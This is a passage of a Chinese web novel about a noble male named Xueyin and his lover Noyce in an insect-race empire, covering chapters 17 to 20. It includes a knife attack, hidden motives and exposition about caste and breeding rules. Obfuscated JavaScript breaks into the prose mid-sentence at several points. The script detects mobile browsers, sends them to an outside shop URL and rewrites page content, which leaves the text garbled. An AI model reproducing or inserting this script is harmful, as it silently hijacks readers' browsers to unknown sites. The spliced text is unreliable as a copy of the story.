深呼吸一口,压下心头翻涌的细微波澜,正准备继续动作,却猝不及防地撞进了一双紫罗兰色的眼眸里。 雪因说得没错,这双眼睛确实漂亮。与老师相似的紫色,又浅了几分,带着些许稚嫩。不同的是老师的紫是高贵优雅疏离,他的紫是危险是蛊惑,引人堕落。 而此时这双本该惑人的眼眸正剧烈颤抖着,清晰地映出他此刻手持利刃、冷漠施暴的身影。 却偏偏没有挣扎。 诺伊斯的目光艰难地扫过刺入自己手腕的匕首,身体颤抖不已。他看了一眼身旁昏睡的雪因,眼中泪光闪烁,双唇张合数次,最终却死死咬住下唇,将一切呜咽咽回喉咙。 他最终闭上了眼,偏过头去,不再看向手腕,像是默许兰斯动手。 …… …… 呵。心机虫。 兰斯竟然能猜到几分他的想法——他知道自己被毁之后已经一无所有,只能选择紧紧攀附雪因,但还不够。这种情况下诺伊斯还能立刻明白自己的处境,知道这不仅是伤害,同时也是机会,不择手段还想利用自己对他的施暴,让雪因再加上一层永久的内疚。 又或者诺伊斯在进行一场豪赌——赌的是贵族不愿脏了手、不愿背负明显罪证的高傲。 兰斯心中涌起一股极其复杂的情绪,鄙夷与憋屈交织,竟还诡异地掺杂着一丝难以言喻的欣赏。 要是继续下去,雪因发现真相后愧疚感将永无止境,反而会如诺伊斯设想的那样,他将永远成为雪因心中一道无法愈合的、带着兰斯罪证的伤疤。 兰斯绝不会让自己沦为诺伊斯情感棋局里的一枚棋子。 他不想再管了,这麻烦事。 也绝不愿成为诺伊斯再次设计雪因的踏脚石。诺伊斯不配让自己脏了手,更不配让自己成为他故事里的反派,他才不要自降身份配合他的悲情剧本。 他抽回匕首,利落地摘下那只沾染了脏污的手套,嫌恶地将其扔在地上,随即头也不回地走出了洞穴。 17.第 17 章 雪因是在诺伊斯怀里醒来的。 对方体温恢复了往常的灼热,双臂紧紧把他禁锢在怀中,熟悉的气息萦绕在鼻尖,雪因眼眶不由地湿润了几分。 “醒了?”最后是诺伊斯先开的口。雌虫强大的自愈能力让他看起来已无大碍,只是那惯常上扬的、带着钩子般的语调消失了。 雪因没有回答,只是用力地回抱住他。 头顶传来一声低笑,随后温热的唇一下下落在他的额间。雪因忍不住抬起头,撞进那双漂亮的紫罗兰色眼眸里。诺伊斯精致的下颌微微绷紧,在与雪因对视的瞬间不自然地闪躲了一下,笑容淡了下去,很快又重新勾起。 雪因仰头吻上他的唇角,诺伊斯也很快给予热情回应,两人就这么黏糊糊在简陋的石床上滚起来,身下垫的甚至只是一些杂草。 彼此纠缠,直到雪因在交缠的唇齿间信息素中尝到混入其中的一丝咸涩。 他喘着气结束这个吻,伸手想去摸摸诺伊斯眼睛。 被推开了。 诺伊斯反手抹了把脸,另一只手则仔细地拈去沾在雪因衣上的草屑,他刻意避开雪因的视线,嗓音里带着压抑后的沙哑,故作轻松地转移话题:“做么?我们好久没有做了。你上次还说下次见我——” “谁伤的你?”雪因开口。 这件事绝不能就此揭过。伤害诺伊斯的人必须要付出代价。 不管怎么说,他都是虫族最珍贵的雄虫,而伤害他宠爱的诺伊斯不可能再单归为雌虫间的争风吃醋,完全可以当成是对维斯特冕家族的挑衅。 不仅伤了诺伊斯的虫要血债血偿,连他背后的家族也要一并清算。他现在只是年轻,总有一天要像雄父和老师一般踏入政坛,雄虫的威严、地位不容侵犯。 这或许是老师给他上的第二课。 “……是我撞上星兽。”诺伊斯垂下眼帘。 他不想承认这是自己的失误、不够谨慎犯下的错,特别是在心爱的人面前时。况且,他无法说出口。 这也是沃特敢如此肆无忌惮找他算账的原因,只要诺伊斯还活着,他们谁也不敢、不能将事情真相摆在雪因面前。 该说什么? 说我们之间一开始就是一场精心策划的骗局,是我设计了你? 他知道自己卑劣,但不想再暴露更多不堪。 或许说出来也没什么,雪因这么爱他,一定会原谅的。大不了像从前那样撒娇蒙混过去,再把所有责任推给沃特,装作自己是无辜被牵连的。 这样解释天衣无缝,维斯特冕家族绝不会放过沃特,大可以在沃特张口想要鱼死网破说出真相时杀了他,雪因不会怪他的。 反正对维斯特冕家族而言,这不过是一句话的事。 这明明是最好的办法。即便真相败露,仇也已经报了。雪因最心软不过,只要他露出伤心欲绝的神情,绝对会原谅他冲上来抱着他安慰… 但他不想这样了。 他好像再也做不出这种事了——从在地狱般的血污中,他以为会死在那个肮脏的地方的时候,那道雪白的身影像一道光,不顾一切地冲破黑暗,将他从绝望中拯救出来开始。 雪因从不说不要跪,也从不说我们是平等的漂亮话。 他只是默默将他从地上拉起,让他坐在同样高度的沙发上,告诉他这样很舒服,我们一起躺着。 会小心翼翼给他打扮起来,戴上那些漂亮璀璨的,他甚至叫不出名字的珍贵宝石。 会在被他弄疼时声嘟囔着抱怨,过一会儿又不好意思别扭地凑近抱住他。 没有道歉,但比道歉更可爱。 “别问了,求你。”诺伊斯避开雪因的视线,低垂着眼掩饰情绪。 至少在雪因心中,永远当成他是无意中闯入,让他们相遇的故事永远只是纯粹美好的意外。 让他们的开始,清清白白。 “……”雪因看着诺伊斯闪躲的眼神怎么会不明白,他难受得慌,但忍住了,将翻涌的情绪强压下去。现在诺伊斯状态不好,他们之间总要有一个人保持清醒。 错了,这一切都是他的错。 是他自负,以为安排了护卫就万无一失,以为诺伊斯身上带着他的标记就无人敢动。他高估了自己的权力,低估了暗处涌动的恶意。 “诺伊斯…”雪因紧紧抱着诺伊斯,声音哽咽,“对不——” “对,都是你的错,都怪你。”诺伊斯打断他,双臂紧紧回抱住雪因的腰,“都怪你都怪你。” 只要把责任推卸到雪因身上,就能掩饰自己的失误与不堪,他开始控制不住宣泄着,声音越来越低渐渐低沉下去,他小声哽咽着:“……都怪你” ——都怪我。 我没有听雌父的告诫,不稳重不成熟在没有掌握真正权利羽翼未丰时就沉不住气。 我愚笨,在对帝星错综复杂的权力规则一知半解的情况下,下意识逃避真相,只愿相信自己愿意相信的表象。 我被惯坏了,仗着雪因给予的特权和偏爱便肆无忌惮,以为有了这份独一无二的宠爱就能抵挡所有明枪暗箭。 诺伊斯反思着,漂亮的眼中渐渐弥漫起雾气。 “对不起。我…我以后一定会保护好你的。”雪因的眼眶彻底红了,抱着诺伊斯的手都开始颤抖起来“对不起对不起。”一遍遍地呢喃着。 半响,诺伊斯才闷闷地开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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给出去的东西,就断没有收回的道理。 还有时间,他可以先拖延周旋,等到他正式进入议会,逐步接过权柄… 按照惯例,雄虫成年后便会成婚,之后要继续学习、并且努力繁衍子嗣,直到四十岁左右差不多有虫蛋了,才会真正被雄虫长辈引入权力核心,学习掌控。 但他不一样。老师曾亲口说过,他是虫族孕育出来最强大的雄虫。刚破壳就能在瞬间控制住周边所有雌虫,虽然只有短短几秒,但那时候可是有数千位S级雌虫和几十位SS级的雌虫,表现出的天赋震撼了所有上层。 老师自然对他寄予厚望,一直将他视为未来的雄虫领袖接班人。 所以,只要他表现出足够的配合意愿,主动要求提前学习掌控,老师他们想必会乐见其成。等到他足够强大,能够与那些势力抗衡的时候… 18.第 18 章 雪因抬起眼,眼中蔚蓝微光流转泛起温暖的光,深深望进诺伊斯眼中:“诺伊斯。” “嗯?” “只会有你。” “嗯…”诺伊斯在他怀里安静了一瞬,语气有些低落。 虽然虫总要经历一些磨难才能长大,但这次代价可太大了。他将脸埋在雪因肩头,抱着雪因小声说:“我只有你了…你不能…不可以不要我。”他声音闷闷的。 “当然不会。”雪因连忙解释,他稍稍退开,捧起诺伊斯的脸,望进他那双蒙着水汽的紫罗兰色眼眸,“但我需要一些时间…去学习,去变得足够强大。接下来这段日子,可能会委屈你一段时间…” “没关系。”诺伊斯的回答出乎意料地平静,他没有像往常一样闹脾气,只是乖巧地接受了这个安排。经历这场变故后,他像是一瞬间成熟了许多。 但这不是雪因希望的样子,他宁愿诺伊斯永远保持那份嚣张跋扈的模样,不必这般小心翼翼,不必因为伤痛而学会隐忍。 “我很开心今天能看到你…”诺伊斯说话时始终低垂着眼眸,那一头向来张扬的红发此刻也显得有几分蔫蔫的。 “我见到你,每一次都很开心”雪因认真地注视着他,一字一句道,“每一次。” 诺伊斯终于露出一丝笑意,身上的阴霾消散了几分:“我当然知道。”语气里总算带上了雪因熟悉的骄纵。 “雪因…”他抬起眼,目光在雪因脸上流转片刻,像是思考,舌尖无意识地舔过略显干燥的嘴唇,“今天…是我的生日。” “嗯?”雪因明显愣住了,他几乎是下意识地开始手忙脚乱地在身上摸索。可惜这次特训来得突然,他根本来不及准备,身上自然找不到任何能充当礼物的物件。“抱歉啊…我…我不知道…什么都没有准备…” “哼。”诺伊斯歪着头打量雪因这副难得一见的窘迫模样,神情反而松弛了不少。他像平时那样勾起唇角,眼波流转间带着钩子的妖艳笑意:“能见到你,就是最好的礼物了。” 完全不是诺伊斯平日里任性索取的作风,多了异常的克制与思索过的体贴,像一根柔软的刺,轻轻扎进雪因心里,反而让雪因无所适从。 “…好吧,”诺伊斯沉默了片刻,目光扫过雪因眼中流露出的茫然与心疼,终究还是没忍住。他迅速放弃了伪装,补充道“回去之后必须补给我!双份的!你…你可要记得!” “记得记得。”雪因听到这句话才松口气,笑着抱过去,两人很快又亲昵地缠作一团。 “对了。你几岁了?”雪因突然想起这个问题。雌虫一般成年后外貌就会固定,但诺伊斯看起来年纪应该不大。虫族寿命漫长,军校里的雌虫年龄跨度很大,从刚成年到百岁都有,但通常等级越高、天赋越好的虫,入学年龄就越轻。 诺伊斯说话作风总是露出一丝意气风发,和那群稳重的雌虫一点也不一样,雪因琢磨着他大概二十五岁上下,这个年纪能以这样的等级进入帝星军校确实相当了不起。所以他一直觉得诺伊斯很厉害,不是情人眼里出西施,毕竟大部分A级雌虫都要到三十岁左右才能考取。 “嗯???”诺伊斯闻言立刻皱起眉头,表情是十足的难以置信和控诉,“你操/我的时候不问,现在倒是想起来该问了?” 雪因脸上顿时有些发热,尴尬地笑了笑。这…毕竟能上军校肯定已经成年了嘛。 “过了今晚12点,我就20岁啦。”诺伊斯没再为难他,只是从鼻腔里哼出一声,轻飘飘地飞了个白眼,顺手捞起雪因漂亮的手,指尖有一搭没一搭地玩弄着他的指节。 “20岁?!”雪因着实吃了一惊,“那你比我还小四个月!你怎么这么高…” 诺伊斯立刻骄傲地扬起下巴,恢复了那副神气活现的模样:“雌虫天生就高!快叫我哥哥。” “不是,明明我才是年纪大的那个,是你要…要叫我哥哥。”雪因反驳,说出那个称呼时候,他有些不好意思。 他是家里最小的虫崽,之后雄父就再没有孵化过虫蛋,原话是:“有你就够了,生这么多干嘛?又不一定是雄虫,别费劲半天出来又是雌虫,便宜了你雌父。” 他其实一直想要一个弟弟,但是哎…周围普遍认为年长的雌虫更会照顾人,他身边的雌虫大多比他年长好几轮。雄虫里也只有洛佩卡年纪稍小,上个月刚满十九岁。偏偏洛佩卡的家族与自家不太对付,在学院里还能多照顾几分,私下却不好经常往来。 “大?哪里大?这里么这里么?”说着说着,诺伊斯又黏了上来,双手不安分地摸索着,带来的阵阵痒意让雪因止不住发笑:“别闹。” “雪因~来叫我哥哥嘛,不想叫我雌父叫我哥哥总可以吧?”诺伊斯拖长了语调,不依不饶地纠缠着。 雪因一怔,脑子在‘需要安抚他’和‘微妙的羞耻感,想让对方叫自己哥哥中’之间不停打架,最终无奈地缴械投降,叹了口气:“…好,哥哥。” “哈哈哈哈哈!”诺伊斯立刻爆发出得逞的、灿烂大笑,用力抱住他,“好嘞!雪因弟弟,哥哥最爱你了!”话音未落,温热的吻便再次落了下来。 “别、别闹了…大家都在呢。”雪因微微偏头,带着几分羞赧,轻轻推开诺伊斯。 “大家?”诺伊斯这才回过神,环顾四周简陋的环境,一个被忽略的问题浮上心头,“等等,你怎么会在这里?” “嗯…”雪因下意识避开他的视线,小心斟酌着用词,不愿提及是因诺伊斯的事受罚,“我们雄虫也是需要参加特训的。” “雄虫也需要锻炼么?”这群虫族的宠儿不是每天只需要享乐就可以了么? 这和诺伊斯往常世界中截然不同的认知,让他迷茫了一阵。但很快又意识到,这是了解帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548692|186202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星规则的机会。他不能再逃避现实,得迅速学会‘规则’并加以利用。 他想配得上。 “需要的。”雪因见状,认真地解释起来。“帝星雄虫分为三类,S级雄虫需要学习各种知识,为将来掌控…接手权力做准备,没有硬性要求参与义务捐献活动…” 但必须要诞下同等级虫崽作为继承人。 雪因斟酌着,没有将这句说出口。 “A级和B级雄虫则受到雄虫协会的庇护,自幼生活在克斯安蒂星。成年后,B级需要每周参与一次义务捐献,以满足底层雌虫的繁育需求;A级则是每月一次。”雪因继续解释,“普通雌虫可以用军功向圣殿兑换这个机会,期待能繁衍出高等级后代。虫蛋的等级通常在双亲之间浮动,偶尔会出现返祖现象,跃升高等级,也就是雌虫间流行的‘赌蛋’…” “通过人工繁殖诞生的后代多为雌虫。即便幸运地出现雄虫,在怀蛋至破壳期间,没有雄虫信息素累计投喂满三个月,虫崽也绝无破壳存活可能。” “就是赌输的意思”诺伊斯接过话,半辈子浴血奋战换来的军功,最后可能只换来一颗永远无法孵化的死蛋…邻街那个总是沉默的军雌,当年就是因为这个,最终选择在战场上结束了生命。 而他雌父一只平平无奇的C级雌虫,何尝不是用半生积蓄与全部尊严换来了他。小时候雌父总会望着他出神,布满薄茧的手会轻轻抚过他的发顶,说着诺伊斯要是有个A级就好了…但下一秒雌父眼睛里的黯然又会迅速褪去,会用力将他搂进怀里,庆幸地说道,能平安活下来,不是C级便已经很好。 “至于C级及以下的雄虫…”雪因顿了顿,“他们不受雄虫协会庇护。按照协会的说法,这是为了将资源倾斜到最重要的地方。他们的处境尴尬…高等级雌虫通常看不上他们的基因。不过,出身权贵家族的C级雄虫会稍好一些…” 雪因沉默一瞬。 事实上,确实会有高等级雌虫愿意下嫁低等级雄虫,多半是看中对方家族的权势,但又看不上对方的基因等级。往往婚前就会要求雄虫绝育,再暗中通过家族渠道获取S级或A级雄虫的基因进行繁衍,以保证家族基因不掉落阶层。这些中级雄虫大多无法成为家族继承人,地位尴尬又需要雌虫庇护,家族往往也会同意高级雌虫的要求。 至于等级更低的雄虫…他们的处境甚至不如一些亚雌。至少亚雌大多圆滑漂亮,懂得审时度势;而低等级雄虫空有性别优势,性格却往往敏感自卑不肯低头,最终只能成为高等雌虫偷偷养在后院的玩物。 所以老师反复告诫他们绝不能随意破坏规则,对雌虫过分友好往往会让对方忘了尊卑,进而变本加厉地迫害那些没有反抗能力的低等级雄虫。 雪因再次反思起老师的话。规则的存在自有其道理,确实不能轻易破坏。但…他看向诺伊斯,觉得心里闷得慌。 19.第 19 章 “雪因?” 终究是常年养尊处优娇生惯养的雄虫,即便心系爱人,身体却不争气地开始疲惫。雪因声音便越来越轻,最后整个人软软地倒在诺伊斯怀中,唇间还喃喃着听不懂的呓语。 诺伊斯从身后环抱住他,感受着怀中躯体的温热与柔软。几缕月光般的雪白长发垂落在他掌心,他小心翼翼地托起。像是本该高高在上的明月,此刻却无助地沦落在他粗糙的掌间。 不是一个世界的,他清晰又难过地认知到这个事实。 他眼尖地注意到几缕银白发丝上,竟沾染了他身上的血迹,现在已经干结凝固成脏污的黑。将本该柔顺飘逸的发丝黏腻地纠缠在一起,发丝都露出几丝委屈与狼狈。 不该是这样。 雪因,合该永远洁净无瑕,不染尘埃。 他怔住,毫不犹豫地撕下自己衣物内侧相对干净的布料,一点点地擦拭那些凝固的血块,直到那发丝彻底恢复原本的雪白无瑕。 对了,他是雌虫,他从恍惚中惊醒。雌虫理应照顾好自己的雄虫,该为雪因准备食物了。 今晚雪因为了照顾他,几乎未曾进食。虽然…在力量等级上他或许永远比不上学院里那些资源堆砌起来的贵族雌虫,但在猎杀星兽这件事上,他有从底层血腥泥沼中挣扎求生存磨砺出的狠厉,可比学院里那群虫强得多。 他小心翼翼地将雪因安置在干草铺就的临时床铺上,伸手想要脱下自己的外衣为雪因盖上,却发现自己的衣服上面满是干涸的血迹、泥沙,经过下午的打架还破败不堪,他抿紧嘴唇。 还是得去外面找些物资。这个山洞他很熟悉,之前他所在的小队和第四小队起冲突后,留下了一些物资…但数量不多。他想起五百米外还有一处地方有物资,当时打完架也留下有很多能用得上的。 那时斗得厉害,对面五只S级雌虫对上他们这边四只S级和其他附庸雌虫。不出意外,他们队输了,但他早一步就看出这个队伍不堪一击,队长太过心浮气躁,所以在冲突爆发前就提前跑了。 反正也只是临时组建的队伍,最终计算成绩也是按活到最后的虫猎杀的星兽数量为准,组建队伍也不过是那些贵族雌虫们更习惯合作… 呵。 他想到这嗤笑一声。 什么合作?分明就是在瓜分他们这些低等级雌虫的劳动力。让他们打头阵消耗星兽的体力,等时机差不多了,这些贵族雌虫再轻松终结星兽生命,独占积分。 即使在战败前还留着实力不肯全力出手,是出于傲慢吧? 指望着在最后时刻翻盘?奇奇怪怪。 他回头望了雪因一眼,眼神不自觉地柔和下来。得快去快回才行。 那个地方的物资丰富,毕竟是几个贵族身上掉落的,一定能找到雪因用得上的东西。至少…他环顾山洞,心里盘算着。 按理说外面正在下雪,但奇怪的是洞内并不冷。他们小队之前住这个山洞时,夜里可是实实在在地冻硬了几只虫,字面意思上的。 即使生了火,领头的几个S级雌虫也冻得瑟瑟发抖。这是军校的特训,本就不是来享福的,处处都是考验。 不过现在洞穴却反常地温暖,这难道也是雄虫们的能力? “喂!” 诺伊斯刚走出和雪因所在的小洞穴空间,就看到前方火堆旁围着三只雄虫。一只正拿着营养液在火上加热,左边那只已经睡着,依偎在中间那只怀里。而中间的雄虫则拿着一根树枝,有一下没一下地拨弄着火堆。即便在如此恶劣的环境下,这些雄虫依然光彩照人,愣是把昏暗的洞穴照得发亮,构成绝美的一幅画。 “规矩都喂狗了么?不会跪着说话?” 诺伊斯这才发现说话的是中间那只雄虫。对方年纪不大,浑身散发着骄纵的贵气,出口却是咄咄逼人。 但诺伊斯却知道,这才是他所熟悉的雄虫的模样。 他所在的星球上也是有一只B级雄虫,是统治他那片区域的霸王,所有雌虫都得迎合他的游戏,而他的排场极大,所到之处百米之内所有雌虫都必须跪伏在地,即便他根本不会从你面前经过。 他嘴唇动了动,低声道:“抱歉…” “贱虫!谁允许你说话…唔…兰斯你干嘛…”他话没说完,旁边那只今晚原本想对他下手的雄虫一把捂住了中间雄虫的嘴,同时用眼神示意诺伊斯快走。 原来他叫兰斯,诺伊斯在心里记下了这份解围之情。 “毕竟是…雪因的人…不要太过分…”洞内隐约传来声音。 他低垂着眼眸走出洞穴,外面果真下起了雪,一阵刺骨的寒风裹挟着雪花瞬间扑面而来刺入裸露在外的皮肤。 他的嘴唇很快泛起青紫色,幸好他是雌虫,强大的体质让他只在寒风中僵立片刻便适应过来,随即顶着寒风冲进黑暗,迅速朝着先前发生混战的方向疾去。 他速度很快,不过一小时,便带着大包小包的物资返回。 却在洞穴门口停住。 他迅速闪身躲到一棵树后。身上已经裹着从地上捡到的厚实衣服,不算合身,毕竟是失败者被传送出去留下的,但那些领头雌虫的物品都是好东西,至少保暖效果极佳。 而洞穴和他离开时空荡荡显得破败不已不同,此刻洞口前居然守着五只雌虫。他看不出等级,但肯定很高,标志性的白发白瞳昭示着身份,是雄虫协会派来的侍虫。 洞穴上方甚至盘踞着一只现出原形的雌虫,正死死守着洞穴门口,粗壮的莹白色节肢上边覆盖着寒光倒刺,三双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16553307|186202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碧绿复眼,雌虫精神力溢出形成幽绿色光芒,跟随最上方复眼转动划出荧光轨迹。 目光瞬间锁定了他。诺伊斯感觉背脊一凉,源自本能深入骨髓的恐惧感瞬间弥漫上来让他动弹不得。 好在那道视线很快就移开了。诺伊斯大口喘着气,这才发现短短几秒的时间冷汗已经浸透了内里的衣衫——那只雌虫的实力,绝对远超S级。 原来如此。他就说雄虫协会怎么可能毫无保护措施就丢下几只珍贵的雄虫进入这片危险的密林历练,原来一直有雌虫在暗中保护着。 但他们没有伤害他的意思,他想。 要不然刚刚一瞬间就能杀了他,是因为他身上有雪因信息素残留的味道么?他感觉又骄傲又悲哀的。 犹豫片刻,他鼓起勇气慢慢走过去,站在几只高大的侍虫前。 “各位大人们…我、我叫诺伊斯,是帝国霍格斯军校的一年级新生…是、是雪…维斯特冕殿下的…” 他嘴张张合合,在雪因面前游刃有余的他,此刻在这些真正掌握武权的雌虫面前竟连一句完整的自我介绍都说不出口。 他是雪因的什么?他还不配,每次和雪因提想做他的雌侍,雪因总是轻巧地岔开话题,只说“只会有你”,但从不提让他做雌侍。 为什么?是觉得他还不够资格吗? 他什么都不是。他只能变本加厉地索取,有一次甚至趁着雪因意乱情迷时,卑微地提出雌奴的身份也可以的。 那时候雪因瞬间清醒过来,斥责他在胡言乱语… …… 虽然后来很快温柔地道了歉。 但他从不知道雪因是怎么想的。 他很…恐惧。 雪因是爱他的,他知道,可这份爱为何不能给他一个名分?一定是因为有其他安排…吧? “我是殿下的侍虫。”最后诺伊斯是这样和洞穴前的侍虫说的。 他只能选择这样一个模糊的称谓。 侍虫们没有任何回应,没有嗤笑,但却比嗤笑更让他感觉脸上火辣辣的。 他无措得慌,连带着手上带回的大包小包都显得格外碍眼,他恨不得把这些东西丢掉,既然雪因他们的侍虫已经到了,那想必已经不需要这些了,他有些后悔,都怪这些捡来的垃圾才让他现在显得…落魄。 等了十分钟,又好像等了半辈子。 没有反应,他终于明白侍虫们根本没有将他看在眼里,从始至终不认为他有和他们对话的资格,所以无视了他。 他感觉眼眶不受控制地发热。以前在低级星球只需要思考如何更快地猎杀星兽就好。自从到了帝星,猎杀星兽却成了最不重要的事,刚来时连官方语言都说不利落,处处碰壁,直到他赌上全部终于攀上雪因… 20.第 20 章 他深深呼出一口气,迈步走进洞穴,侍虫果然没有阻拦。也对,他只是一只无关痛痒的小飞虫,连被驱赶的价值都没有。 进入洞穴是与外面的严寒截然不同的暖意。 应该是这些雌虫早在雄虫们进入时,就已经用强大的精神力场覆盖住洞穴,这才保持着适宜的温度。 而洞内景象则和他刚去时不同,此时分隔成数个通道,精神力构筑而成的通道连着每位雄虫们的卧室,雄虫们都在熟悉的抚育虫陪伴下安然入睡,仅能从精神力构建的门看到他们此时的状态。 雄虫确实需要锻炼,但没必要刻意吃苦。看来之前也是等这些雄虫们休息睡着之后,他们抚育虫会出现带自家主虫接回真正的舒适区。 而四周还有雌虫不停忙碌,手持各种精密仪器记录并细致地调整着洞穴内的环境。他这才注意到,明明之前他们散落在洞穴内的是低等级、毫无口感可言令人恶心的营养液。其实从一开始就被替换成了雄虫专用的营养液,只是外表仍保持着廉价的伪装。 而地上散落的物资、背包,看似破败,实际上都被这些雌虫精心处理过。 所有尖锐的边角都被仔细打磨,替换成柔软舒适的布料。连地上看似杂乱的杂草,边缘都被一根根修整得圆润毛绒,确保不会划伤尊贵的雄虫。 这些雌虫无一例外全都对诺伊斯视若无睹,各自专注地完成着自己的工作。 诺伊斯目光不由自主地投向雪因所在的位置。透过幽绿色精神力具现化为长满尖刺的藤蔓,组成一个可以从外看到内的屏障。雪因毫无意识睡在绣着精致的暗纹的床上,围绕着数十名圣殿侍虫,他们低声吟唱,精神力交织成点点星光,缓缓渗入雪因体内。 雪因的唇色逐渐恢复往日的红润,雪白的几缕长发随屋内精神力飘动。 这时诺伊斯看到角落的人影,他下意识后退一步——是雪因的雌君么? 他心跳开始加速起来,开始想着第一句话该说什么?还是赶紧逃跑…不、雪因的雌君不会杀他,他确定这件事。 他想到,他接触过墨尔庇斯身边的人。 那时候…侍虫称那人为‘副官’。 他和雪因初遇后没多久,雪因被身边的侍虫接走后,将他安置在自己休息室里。 随后那位副官带人将他抓进实验室…只记得一针药剂后他晕了过去,恍惚间听到什么‘健康’,等他再次醒来,已经回到了雪因的休息室。自那以后,墨尔庇斯的人再也没有出现过,有时候他想那会不会只是一个幻觉。 但后来他查证了那位‘副官’先生的身份,确定了。 斯卡尔,第一军团的副官,墨尔庇斯的心腹,全权负责与雪因对接的联络官。 既然当初他们没有对他下手,现在更不会。他们与沃特那种蠢货不同,杀死他而得罪雪因显然不是明智之举,诺伊斯盘算着。 但万一真的是雪因的雌君… 阴影中的人影缓缓走出,诺伊斯不自觉地握紧双拳,紧张地咽了咽口水,目光紧紧锁定着… 白发白瞳,还带着雄虫协会的标识…不是雪因的雌君。 诺伊斯松了口气,既庆幸又失落的。 那雪因的雌君在哪里?他的目光不由自主地扫向四周。另外三位雄虫的身边,都陪伴着身穿正式雌君制服的伴侣,或是身份明确的雌侍在旁细心照料。唯独雪因…… 虽然周围跪满了恭敬的侍虫,数量远胜其他雄虫,但身边却一个真正贴身的照顾者都没有,他莫名觉得心疼。 快步走上前,那些对其他雌虫畅通无阻的通道却死死困住了他,形成一道无形的屏障,他伸手触碰,感受到冰冷的阻力,试探性地敲了敲那扇看不见的‘门’,没有反应。 而洛伽南此刻也来到雪因床边,将精纯的精神力缓缓注入雪因体内,细致地修复着雄虫的疲惫,旁边展开虚拟屏幕则快速记录着数据。 这是…在做什么? 诺伊斯的心跳漏了一拍。眼前闪烁的数据、雪因毫无意识的沉睡,以及洛伽南那不带感情的操作——不应该是这样啊!雄虫不应该是被温柔地拥在怀中,在轻声细语的安抚中恢复么? 他想到初遇时,雪因脸上带着和其他贵族雄虫如出一辙的矜贵漠然表情,甚至一开始连眼睛都不曾睁开,只是粗暴又无助地宣泄着本能。直到雪因睁开眼居高临下看向他,他才发现这只雄虫眼睛多么漂亮,应该像洒满晨光的海,而不是深不见底的蓝。 那时的雪因在与他对视后,什么也没说,只是一脚将他踢开,纤长的双腿在沙发上烦躁地晃,像个精致漂亮却没有灵魂的娃娃。 “我会当都没有发生,你走开。” 连拒绝的语调都软绵绵的,带着宣泄后的沙哑,明明看起来高贵不已,又似乎好欺负得很。 他本该识趣地离开的,他想。 但他当时望进那双注入了点点生机的眼睛,不顾一切扑了上去,继续了未完成的事… 雄虫不该是被捧在掌心宠爱的存在吗? 不对的,这样不对的。 诺伊斯心头一紧,开始用力砸屏障,现在这一切他只觉得窒息。 他只看到他心爱的雪因仿佛被束缚在高高在上的冰冷王座上,成为被观察、被研究的对象。 这是你一直以来的生活么? 规则所在,谁都逃不开它的桎梏。底层的他们是可悲的消耗品,上层的雪因同样被重重蛛网般的规则操控着,根本没有谁能逃得掉。 他几乎用尽全身力气捶打着那道看不见的墙,又或是想要击碎横亘在他们之间所有无形隔阂。掌心很快浮现出深色的淤青。 没有用,所有虫都无视了他,那道屏障永远牢不可破,而他连进入的资格都没有。 诺伊斯颓然地退到角落,蜷缩起身子,将脸深深埋进膝间,肩膀无助颤抖起来。 * “诺伊斯~” 诺伊斯迷迷糊糊地睁开眼,对上了雪因含笑的眼睛。 “你怎么…”雪因的脸颊泛起一抹红晕,有些别扭地低声说道,“自己睡这里,不抱着我睡呀?” 是了,诺伊斯恍惚地想。其实刚认识的时候,雪因也不爱说话,他们之间更多是见面就亲密。后来他发现,每次亲密过后,雪因看他的眼神总是欲言又止,带着一丝黏意。他试着主动开口说话,雪因虽然只是点头,但明显开心了不少。他说得越多,哪怕是些无关紧要的废话,雪因都会格外专注地听。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16559500|186202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 从简单的一两个字回应,到后来会主动回应他。 再到后来,会小声回应说‘我也想你。’ 诺伊斯再也忍不住,猛地站起来抱住了雪因。他没有注意到因为长时间蜷缩双脚发麻,一下子重重压在雪因身上。还好雪因常年锻炼,稳稳接住了他,这才没有让两人重重摔倒在地。 雪因对他突然的动作有些不解,但什么也没有问,只是一下下轻柔抚慰着他,给他梳理着垂落的红发。 “这是什么?是送我的么?”雪因在他身上摸索着取出了什么,举在空中,嘴角带着笑意狡黠地看着他。 诺伊斯看向雪因手中的花。是昨夜去捡物资路上摘的,只在雪夜中绽放。花瓣是透明的,边缘却镶着一层白边,花蕊是淡淡的蓝色,散发着若有若无的幽香。 